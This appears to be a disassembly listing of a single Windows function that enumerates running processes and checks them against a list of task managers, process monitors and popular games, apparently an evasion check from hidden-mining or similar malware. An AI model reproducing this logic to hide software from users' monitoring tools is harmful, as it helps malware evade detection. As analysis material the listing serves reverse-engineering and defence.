Function at 0x4647e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x4a206c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x230]
push eax
push esi
call edi
test eax, eax
je 0x464ef3
mov ecx, str.taskmgr.exe
lea eax, [ebp - 0x20c]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464866
test dx, dx
je 0x464862
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464866
add eax, 4
add ecx, 4
test dx, dx
jne 0x464840
xor eax, eax
jmp 0x46486b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.Taskmgr.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4648a6
test dx, dx
je 0x4648a2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4648a6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464880
xor eax, eax
jmp 0x4648ab
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.dota2.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4648e6
test dx, dx
je 0x4648e2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4648e6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4648c0
xor eax, eax
jmp 0x4648eb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.csgo.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464926
test dx, dx
je 0x464922
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464926
add eax, 4
add ecx, 4
test dx, dx
jne 0x464900
xor eax, eax
jmp 0x46492b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.payday.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464966
test dx, dx
je 0x464962
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464966
add eax, 4
add ecx, 4
test dx, dx
jne 0x464940
xor eax, eax
jmp 0x46496b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.Minecraft.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4649a6
test dx, dx
je 0x4649a2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4649a6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464980
xor eax, eax
jmp 0x4649ab
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.TheDivision.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4649e6
test dx, dx
je 0x4649e2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4649e6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4649c0
xor eax, eax
jmp 0x4649eb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.GTA5.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464a26
test dx, dx
je 0x464a22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464a26
add eax, 4
add ecx, 4
test dx, dx
jne 0x464a00
xor eax, eax
jmp 0x464a2b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.re7.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464a66
test dx, dx
je 0x464a62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464a66
add eax, 4
add ecx, 4
test dx, dx
jne 0x464a40
xor eax, eax
jmp 0x464a6b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.Prey.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464aa6
test dx, dx
je 0x464aa2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464aa6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464a80
xor eax, eax
jmp 0x464aab
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.Overwatch.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464ae6
test dx, dx
je 0x464ae2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464ae6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464ac0
xor eax, eax
jmp 0x464aeb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.MK10.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464b26
test dx, dx
je 0x464b22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464b26
add eax, 4
add ecx, 4
test dx, dx
jne 0x464b00
xor eax, eax
jmp 0x464b2b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.QuakeChampions.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464b66
test dx, dx
je 0x464b62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464b66
add eax, 4
add ecx, 4
test dx, dx
jne 0x464b40
xor eax, eax
jmp 0x464b6b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.crossfire.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464ba6
test dx, dx
je 0x464ba2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464ba6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464b80
xor eax, eax
jmp 0x464bab
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.pb.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464be6
test dx, dx
je 0x464be2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464be6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464bc0
xor eax, eax
jmp 0x464beb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.wot.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464c26
test dx, dx
je 0x464c22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464c26
add eax, 4
add ecx, 4
test dx, dx
jne 0x464c00
xor eax, eax
jmp 0x464c2b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.lol.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464c66
test dx, dx
je 0x464c62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464c66
add eax, 4
add ecx, 4
test dx, dx
jne 0x464c40
xor eax, eax
jmp 0x464c6b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.perfmon.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464ca6
test dx, dx
je 0x464ca2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464ca6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464c80
xor eax, eax
jmp 0x464cab
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.Perfmon.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464ce6
test dx, dx
je 0x464ce2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464ce6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464cc0
xor eax, eax
jmp 0x464ceb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.SystemExplorer.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464d26
test dx, dx
je 0x464d22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464d26
add eax, 4
add ecx, 4
test dx, dx
jne 0x464d00
xor eax, eax
jmp 0x464d2b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.TaskMan.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464d66
test dx, dx
je 0x464d62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464d66
add eax, 4
add ecx, 4
test dx, dx
jne 0x464d40
xor eax, eax
jmp 0x464d6b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.ProcessHacker.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464da6
test dx, dx
je 0x464da2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464da6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464d80
xor eax, eax
jmp 0x464dab
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.procexp64.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464de6
test dx, dx
je 0x464de2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464de6
add eax, 4
add ecx, 4
test dx, dx
jne 0x464dc0
xor eax, eax
jmp 0x464deb
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.procexp.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464e26
test dx, dx
je 0x464e22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464e26
add eax, 4
add ecx, 4
test dx, dx
jne 0x464e00
xor eax, eax
jmp 0x464e2b
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov ecx, str.Procmon.exe
lea eax, [ebp - 0x20c]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x464e6a
test dx, dx
je 0x464e66
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x464e6a
add eax, 4
add ecx, 4
test dx, dx
jne 0x464e40
xor eax, eax
jmp 0x464e6f
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
mov eax, str.Daphne.exe
lea ecx, [ebp - 0x20c]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x464eac
test dx, dx
je 0x464ea8
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x464eac
add ecx, 4
add eax, 4
test dx, dx
jne 0x464e82
xor eax, eax
jmp 0x464eb1
sbb eax, eax
or eax, 1
test eax, eax
je 0x464ee0
lea eax, [ebp - 0x230]
xor bl, bl
push eax
push esi
call edi
test eax, eax
jne 0x464832
pop edi
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042b571
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042b571
mov esp, ebp
pop ebp
ret
mov bl, byte [ebp - 0x231]
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042b571
mov esp, ebp
pop ebp
ret